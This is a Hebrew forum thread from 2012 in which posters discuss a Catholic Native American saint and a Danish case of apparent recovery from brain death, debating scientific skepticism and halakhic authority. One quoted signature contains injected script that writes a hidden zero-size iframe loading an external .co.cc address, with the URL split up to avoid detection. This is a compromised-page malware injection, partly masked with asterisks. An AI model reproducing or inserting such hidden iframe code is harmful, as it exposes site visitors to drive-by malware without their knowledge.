|
|
| נשלח ב-16/10/2012 10:11 |
 |
| |
הרב מיכי ,קראת את הגמרא וטוען אדרבה?
|
|
|
|
| נשלח ב-21/10/2012 11:29 |
|
| |
ירידת הדורות בעיני האיסלאם: age of mockery
|
|
|
|
|
| נשלח ב-21/10/2012 12:24 |
|
| |
הקתוליות מתחדשת: יש כבר "קדוש" אינדיאני.
הם מחוללים ניסים, הניסים נבדקו ותועדו, וכנראה כבר מומלץ אצלם להתפלל אליהם. הם יכולים לעזור.
האם יש צורך להסביר כי מביא הלינק, אני, אינו סבור כלל כשיטות אלו, ולא הבאתין אלא כתופעה מעניינת מתחום מדעי הדתות. ושמא נוכל ללמוד מן התופעה לגבי דברים שעלולים להתרחש בכל דת שאין לה מחסומים בפני אמונות הבל. והיפה, במידה שיש שם יופי, אצל הקתולים, הוא שלפחות אין הם ממהרים לאמץ קדושים אל חיקם, אלא מעבירים אותם שבע בדיקות וחקירות, וממנים קטגור שטן לערער על הבחירה, עד שמוכח מעבר לכל ספק שאכן אותו קדוש חולל ניסים וכו' וכו'.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-21/10/2012 12:41 |
|
| |
| מיימוני כתב: |  | הקתוליות מתחדשת: יש כבר "קדוש" אינדיאני.
הם מחוללים ניסים, הניסים נבדקו ותועדו, וכנראה כבר מומלץ אצלם להתפלל אליהם. הם יכולים לעזור.
האם יש צורך להסביר כי מביא הלינק, אני, אינו סבור כלל כשיטות אלו, ולא הבאתין אלא כתופעה מעניינת מתחום מדעי הדתות. ושמא נוכל ללמוד מן התופעה לגבי דברים שעלולים להתרחש בכל דת שאין לה מחסומים בפני אמונות הבל. והיפה, במידה שיש שם יופי, אצל הקתולים, הוא שלפחות אין הם ממהרים לאמץ קדושים אל חיקם, אלא מעבירים אותם שבע בדיקות וחקירות, וממנים קטגור שטן לערער על הבחירה, עד שמוכח מעבר לכל ספק שאכן אותו קדוש חולל ניסים וכו' וכו'.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
כמדומני שהאפיפיור הנוכחי כבר ביטל את קטגור השטן. ומעכשיו אין שטן ואין פגע רע .....
|
|
|
|
| נשלח ב-21/10/2012 13:25 |
|
| |
הנסים נבדקו ותועדו ........
|
|
|
|
| נשלח ב-21/10/2012 14:53 |
|
| |
רב נחום גמזו רנדיקובסקי למי שלא זיהה [גיימס רנדי]
|
|
|
|
| נשלח ב-22/10/2012 10:25 |
|
| |
נקודה למחשבה
דנמרק: בת 19 מתה מוות מוחי - וחזרה לחיים
הוריה של קארינה מלכיור מדנמרק, שנפגעה בתאונת דרכים לפני כשנה והייתה במצב של מוות מוחי, כבר הסכימו לנתקה מהמכשירים ולתרום את איבריה להשתלה. רגע אחרי הניתוק היא זזה - והיום שוב הולכת ומדברת, מדווח "ידיעות אחרונות"
תוקן על ידי מטפחתספרים ב- 22/10/2012 10:25:05
|
|
|
|
| נשלח ב-22/10/2012 12:57 |
|
| |
[מטפחת,
לא קראתי את הכתבה אליה לינקקת, אבל ממה ששמעתי היום, הביטוי "מוות מוחי" אינו מדויק כאן.
הנערה הייתה במצב של "צמח", כלומר המוח שלה עדיין תפקד. בדנמרק, מוגדר מצב זה כ"מוות מוחי" מבחינת החוק (כנראה), אך אין זה ביטוי "נכון" מבחינה רפואית.]
|
|
|
|
| נשלח ב-22/10/2012 15:10 |
|
| |
אמא, זו באמת השאלה החשובה כאן. בהחלט שווה בדיקה.
בכל אופן, ברור שיש להיזהר מטענות שמניחות את המבוקש: אם ידוע שאי אפשר לחזור ממוות מוחי לחיים זו גופא הראיה לכך שלא מדובר במוות מוחי. כך מצוטט בשם אחד הרופאים בכתבה.
אני חושב שכל אלו שכבר יודעים שלא מדובר במוות מוחי, מתבססים על הנחת המבוקש נוסח זו. מאד מעניין אותי לשמוע מוועדה שתבדוק את זה בצורה מאד שיטתית ויסודית וללא הטיות. זאת על אף שלדעתי אין לכך השלכה רבה על שאלת תרומת האיברים, ואכ"מ.
|
|
|
|
| נשלח ב-22/10/2012 15:30 |
|
| |
לפי הנאמר בכתבה הראיה היחידה שהוצגה לפני המשפחה למוות מוחי היתה "סריקת מוח" שאינני יודע למה הכוונה - CT / MRI/ PET? המצב בארץ הוא שנדרשים שלושה תנאים: סימנים קליניים של העדר תגובה לגירוי כלשהו, מבחן הפסקה מוחלטת של נשימה עצמונית והוכחה באמצעות מדידה מכשירית לכך שנפסקה זרימת דם לתוך המוח. החשש הגדול הוא כמובן שתמיד יכולות להיות טעויות באבחנה. אבל זה נכון בכל תחום בחיים.
|
|
|
|
| נשלח ב-22/10/2012 21:18 |
|
| |
אגנוסטיק, דבריך גם הם לוקים בהנחת המבוקש. אתה אומר שיש חשש לטעות בדיאגנוזה (ומניח בתוך כך במובלע שאם אין טעות אז ברור שהיא לא היתה חוזרת לחיים), ואני מעלה כאן גם את האופציה שאולי יש טעות בתיאוריה המקובלת לפיה אין אפשרות לחזור ממוות מוחי. ייתכן שלא היתה טעות בדיאגנוזה והיא באמת מתה מוחית (והיתה עוברת את שלושת המבחנים המקובלים אצלנו), ובכל זאת היא חזרה לחיים.
איני יודע זאת כמובן, והדבר טעון בדיקה. אבל חשיבה מדעית אמורה להיות פתוחה לחידושים.
|
|
|
|
| נשלח ב-22/10/2012 21:27 |
|
| |
הרב מיכי
ודאי שהדבר ייתכן. אבל אני מתייחס לכך שלפי מה שנכתב בכתבה העתונאית נראה שהיא כלל לא עברה את שלושת המבחנים הללו.
|
|
|
|
| נשלח ב-22/10/2012 22:30 |
|
| |
הרב מיכי, העניין הוא כי המסקנה המקובלת, שאין חוזרים לחיים לאחר מוות מוחי, התגבשה בצורה מדעית, לאחר אין ספור בדיקות. אז נכון שיכול להיות תיאורטית שמשהו התפקשש, ויש חיים לאחר המוות המוחי, אך רמת הביטחון בהנחה גבוהה מאד, לאור הבדיקות הרבות. אני לא חושב שזה מקרה קלאסי של הנחת המבוקש. ברור כי המדע לעולם אינו מפסיק לבדוק את עצמו, אך ליד זה ברור, כי כגודל הביטחון בהנחה המוקדמת, הנובע מתוך אינספור בדיקות, כך גודל הפקפוק בהשערה, כי לנגד עינינו התרחש משהו הסותר את ההנחה המקובלת. סביר יותר לחפש את הכשל בבדיקות וכיו"ב. כפי שלאחר מקרה בו נקבע מוות מוחלט והגופה קמה לתחיה במקרר, אנו מניחים כי היה כשל בקביעה ולא כי מת יכול לקום לחיים. לגבי המעורבות ההלכתית בעניין, אני חושב כי ההלכה רק יכולה להגדיר את "רמת המוות" הנדרשת מבחינתה, אך אין לה כלים להגיד, האם מצב קליני כזה או אחר, נחשב כמי שהגיעה לרמה הנדרשת. הכי מוזר זה ההסתמכות על קביעות בפוסקים, שנשענו על הידע בזמנם ואינם נובעים מקביעה הלכתית של רמת המוות הנדרשת. אולי אקפיץ את האשכול ההוא כי שם מקום הדיון.
|
|
|
|
| נשלח ב-23/10/2012 00:41 |
|
| |
ייתכן,
אני לגמרי מסכים שהפוסק לא אמור לקבוע קביעת רפואיות אלא רק קביעות ערכיות. ובודאי שקביעות עובדתיות שמבוססות על ידע עתיק הן עוד פחות רלוונטיות.
אני גם מסכים להערתך שככל שהביטחון שלנו בתיאוריה גדול כך ניטה להטיל ספק בניסוי בודד שתוצאותיו סותרות את התיאוריה הזאת. ובכל זאת, מסקרן אותי מאד לראות תוצאה של בדיקה שיטתית ולא מוטה של המקרה. הרי לבדוק צריך, לא?
|
|
|
|
| נשלח ב-23/10/2012 09:06 |
|
| |
תמיד צריך לבדוק ולבדוק.
לעולם תבדוק.
זה הדיבר הראשון של מדע רלוונטי ונשמת אפו.
|
|
|
|
|
